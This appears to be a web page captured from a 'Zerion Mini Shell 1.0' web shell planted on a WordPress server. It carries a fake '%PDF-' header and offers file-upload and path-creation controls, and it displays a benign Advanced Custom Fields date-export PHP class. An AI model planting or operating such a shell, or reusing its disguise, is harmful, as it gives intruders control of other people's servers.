%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/businessmultisite/wp-content/plugins/ac-addon-acf/classes/Export/
Upload File :
Create Path :
Current File : /var/www/businessmultisite/wp-content/plugins/ac-addon-acf/classes/Export/Date.php

<?php

namespace ACA\ACF\Export;

use ACP;

/**
 * @since 2.2
 */
class Date extends ACP\Export\Model {

	public function get_value( $id ) {
		$value = $this->column->get_raw_value( $id );

		if ( empty( $value ) || ! is_numeric( $value ) || 8 !== strlen( $value ) ) {
			return false;
		}

		$year = substr( $value, 0, 4 );
		$month = substr( $value, 4, 2 );
		$day = substr( $value, 6, 2 );

		return "$year-$month-$day";
	}

}

Zerion Mini Shell 1.0